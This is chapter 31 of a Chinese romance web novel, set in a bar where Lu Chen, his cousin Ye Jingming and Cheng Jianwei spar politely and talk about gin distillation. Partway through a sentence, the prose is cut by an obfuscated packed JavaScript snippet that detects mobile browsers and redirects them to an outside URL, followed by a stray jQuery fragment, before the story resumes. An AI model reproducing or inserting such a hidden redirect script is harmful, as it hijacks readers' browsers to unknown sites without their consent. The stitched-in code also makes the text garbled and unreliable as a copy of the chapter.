31. 只是同学

作品:《观察者偏差[gb]

    这时,叶景明才像是刚刚注意到陆忱的存在,缓缓转过头,脸上露出恰到好处的惊喜——惊讶中带着喜悦,喜悦中带着一丝“这世界真小”的感慨,表情管理完美无瑕。


    “陆忱?”他的声音里带着恰到好处的热情,“真是巧了。你也来这儿?”


    陆忱这才将目光转向他,表情平静得像无风的湖面,看不出任何情绪:“你什么时候回国的?”


    他省略了称呼。没有叫“表哥”,没有叫“叶景明”,直接用“你”指代。这是一种微妙的疏远,一种刻意拉开的距离。


    叶景明似乎并不在意,笑着靠回椅背,姿态放松,一只手随意地搭在吧台上,手指轻轻敲击着木质台面:“上周。回来处理点家里的事,顺便看看国内的市场。”他的目光在陆忱和程见微之间扫了一个来回,带着玩味,“倒是你,不在学校好好学习,跑这儿来喝酒?这位是……”


    他故意停顿,将问题抛回给陆忱。


    “放松一下。”陆忱说,语气平淡得像在陈述天气。他没有接叶景明关于“这位”的提问,而是将目光转向程见微,问道:“你们认识?”


    这个问题问得很自然,像随口一问,像两个认识的人偶然遇到对方和另一个陌生人在一起时,会问的那种问题。但程见微听出了其中的试探——不是怀疑,不是质问,而是一种确认,一种……隐隐的紧张。


    “刚认识。”程见微说,声音平静无波,“这位先生刚才在和我讨论调酒的艺术。他对金酒的蒸馏工艺很有见解。”


    “叶景明。”叶景明主动接过话头,身体微微前倾,隔着陆忱,对程见微伸出手,笑容迷人,眼睛弯成月牙,浅褐色的瞳孔在灯光下像盛着蜜糖,“很高兴认识你,程小姐。没想到你和陆忱也认识,这世界真小。”


    程见微看了一眼他伸出的手。


    那只手很漂亮,手指修长,骨节分明,指甲修剪得干净整齐,皮肤是健康的暖白色,手腕上戴着一块理查德·米勒的镂空腕表,表盘复杂机械,价格不菲。


    她停顿了大约一秒。


    然后,她没有去握那只手,只是对他点了点头,算是回应:“程见微。”


    语气平淡,没有任何附加的情绪。


    叶景明也不尴尬,自然地收回手,仿佛刚才的伸手只是一个随意的动作,收回得同样自然流畅。他转向陆忱,那双桃花眼里闪过玩味的光,像发现了什么有趣的事情:


    “陆忱,不正式介绍一下?这位程小姐是你的……”


    “同学。”陆忱打断他,语气里带着一丝不易察觉的冷硬,像刀锋划过冰面,“项目伙伴。”


    他强调了“项目伙伴”四个字,像是在划清界限,又像是在宣示某种所有权——虽然“项目伙伴”这个词本身并不具备所有权属性。


    “哦——”叶景明拖长了声音,那个“哦”字在舌尖转了个弯,带着明显的玩味和调侃,“只是同学和项目伙伴啊。”


    这话里的暗示意味太明显了。那种“你们之间肯定不止于此”的潜台词,像一层薄薄的油浮在水面,清晰可见。


    陆忱的眉头几不可察地蹙了一下,下颌线微微收紧。但他没有接话,没有解释,没有反驳,只是端起酒保刚送来的、新的那杯格兰菲迪18年,仰头喝了一口。辛辣的液体滑过喉咙,带来一阵灼烧感,也带来一丝冰冷的清醒。


    程见微看了看陆忱,又看了看叶景明。


    她能清晰地感觉到两人之间那种微妙的、几乎有形质的张力。表面上客客气气,叶景明笑容满面,陆忱表情平静,但底下暗流涌动。叶景明对陆忱有种看似亲切实则居高临下的态度——那种年长者对年少者、阅历丰富者对青涩者的微妙优越感。而陆忱对叶景明则保持着礼貌但清晰的警惕和距离,像面对一头披着羊皮的狼,虽然暂时相安无事,但肌肉时刻紧绷。


    这种复杂、虚伪、充满算计的家庭关系动态,她上一世在官场上见得多了。叔伯兄弟,姻亲故旧,表面一团和气,背地里刀光剑影。没想到这一世,在校园里,在一个清吧中,又见到了类似的戏码。


    只是这次,她不再是旁观者,而是被微妙地卷入其中。


    “叶先生对调酒很了解?”程见微忽然开口,将话题从那种尴尬的暗示中引开,语气平静得像在讨论学术问题,“刚才你说到金酒的第四次蒸馏,和第三次在风味上具体有什么区别?”


    叶景明挑眉,似乎对她的主动提问感到有趣——不是对他这个人,而是对他谈论的专业内容感兴趣。这让他眼中那抹玩味更深了。


    “略懂一二。”他身体微微前倾,手肘撑在吧台上,姿态放松但专注,“在国外读书的时候,为了赚生活费,在伦敦一家挺有名的鸡尾酒吧打过两年工,跟着一个从萨伏伊酒店退休的老师傅学了点皮毛。”


    他顿了顿,似乎在组织语言,然后开始讲解,声音不高,但清晰:


    “金酒的本质是中性酒精蒸馏物,用杜松子及其他植物香料调味。常见的伦敦干金一般经过三次蒸馏。但如果追求极致的纯净和细腻,有些酒厂会进行第四次蒸馏。第三次蒸馏后,酒液已经相当纯净,但还会带有一些较重的、类似油脂的香气成分。第四次蒸馏,温度控制得更精准,只取最中间、最纯净的‘酒心’部分,这样得到的酒液几乎无色无味,像一张最干净的白纸,然后再用更精细的植物配方进行最后的风味赋予……”


    他的讲解确实专业,不仅说了工艺原理,还穿插了一些酒厂的历史典故、不同蒸馏器的特点、以及他自己在酒吧工作时遇到的趣事。语言生动,举例恰当,很容易让人听进去。


    陆忱坐在程见微的另一侧,沉默地听着。


    他看着程见微专注倾听的侧脸,看着她偶尔点头、偶尔在关键处提出更深入问题的样子。她的表情很认真,睫毛低垂,目光落在叶景明脸上,或者随着他的讲解看向酒柜某处。像在上一堂重要的专业课,像在聆听一份有价值的技术报告。


    但陆忱知道,她并不是真的对调酒那么感兴趣。


    至少,不是像她表现出的那么感兴趣。


    她是在用这种方式,控制场面的节奏,避免尴尬,将话题从那种微妙的、关于他和她关系的试探中引开。同时……观察。


    观察叶景明——他的知识储备,他的表达能力,他的伪装技巧,他的真实目的。


    也在观察他——他的反应,他的情绪,他和叶景明之间那种复杂的关系。


    这个认知让陆忱的心跳漏了一拍,然后加速跳动。她看出来了,看出来他和叶景明之间的关系不简单,看出来他此刻的情绪不对劲——那些从海城带回来的阴郁,那些见到叶景明后升起的警惕和不适。所以她才主动接过话题,用这种


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110872|193824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冷静而聪明的方式,给他缓冲的空间,转移焦点。


    她在……照顾他。


    用她那种特有的、不动声色的、几乎让人察觉不到的方式。


    即使她可能自己都没完全意识到自己在做什么,或者即使意识到了,也会用“这是合理的社交策略”来解释。


    陆忱垂下眼帘,看着杯中琥珀色的液体。冰块在酒液中缓慢旋转,折射着吧台后方酒柜的光,像一个小小的、流动的星系,美丽而冰冷。他握住杯子的手指微微收紧,指尖因为用力而泛白。


    就在这时,叶景明放在吧台上的手机屏幕亮了。


    不是铃声,只是震动,嗡嗡的,在木质的吧台上产生细微的共鸣。他看了一眼屏幕,眉头微挑——一个非常细微的、但陆忱熟悉的动作,表示他看到了某个需要处理但不太紧急的信息。


    然后他抬起头,对程见微和陆忱露出抱歉的笑容,那笑容依然完美,但眼底多了一丝不易察觉的、事务性的烦躁,被他很好地掩藏在那层迷人的表象之下。


    “不好意思,接个电话。”他说,声音里带着恰到好处的遗憾,“工作上的事,躲不掉。”


    他站起身,拿起手机,对两人点点头,走向洗手间的方向——那里更安静,适合通话。


    吧台前,暂时只剩下陆忱和程见微两人。


    沉默了几秒。


    只有音乐在流淌——爵士乐已经换成了《AutumnLeaves》,萨克斯风的声音哀婉而缠绵,像秋天最后一片叶子在风中盘旋,不舍落下。酒保Alex在吧台另一端安静地擦拭杯子,动作轻柔,像怕惊扰了这份安静。


    “你没事吧?”程见微忽然问,声音很轻,轻得像怕打破什么。


    陆忱抬起头,看向她。


    她的眼睛在昏暗的灯光下呈现出深琥珀色,像陈年的威士忌,清澈,醇厚,能一眼望到底,但又蕴含着复杂的层次。里面没有任何评判,没有“你怎么了”的追问,没有“你看起来不太好”的担忧,只有平静的询问。像在问“今天天气怎么样”,但陆忱知道,她问的是更深层的东西——那些他刚从海城带回来的情绪,那些见到叶景明后的紧绷,那些他此刻内心翻涌的、无法言说的东西。


    “没事。”他说,声音有些沙哑,像砂纸摩擦过粗糙的表面,“刚从海城回来。”


    他给了信息,但没有给细节。没有说海城之行如何,没有说见了谁,没有说心情怎样。只是陈述事实:我刚从海城回来。


    程见微点点头。


    她没有追问海城的事,没有问“回去干什么”“见了什么人”“顺利吗”。也没有问他和叶景明的关系,没有问“那是你亲戚?”“你们关系怎么样?”“他是什么样的人?”。


    她只是拿起自己的酒杯,又喝了一小口,喉结滚动,吞咽。然后放下杯子,目光落在杯中那些细密上升的气泡上,轻声说:


    “这杯酒,叫‘静默观察者’。”


    陆忱看向她的杯子。


    淡金色的液体,细密如珍珠的气泡持续不断地从杯底升腾,在酒液中形成一条条垂直的、发光的轨迹。那片炙烤过的柠檬皮像一只小小的、焦糖色的帆船,漂浮在杯沿,随时可能被酒液的晃动带进杯中。


    “很适合你。”他说,声音比刚才柔和了一些,像冰层裂开一道缝隙,有温水涌出。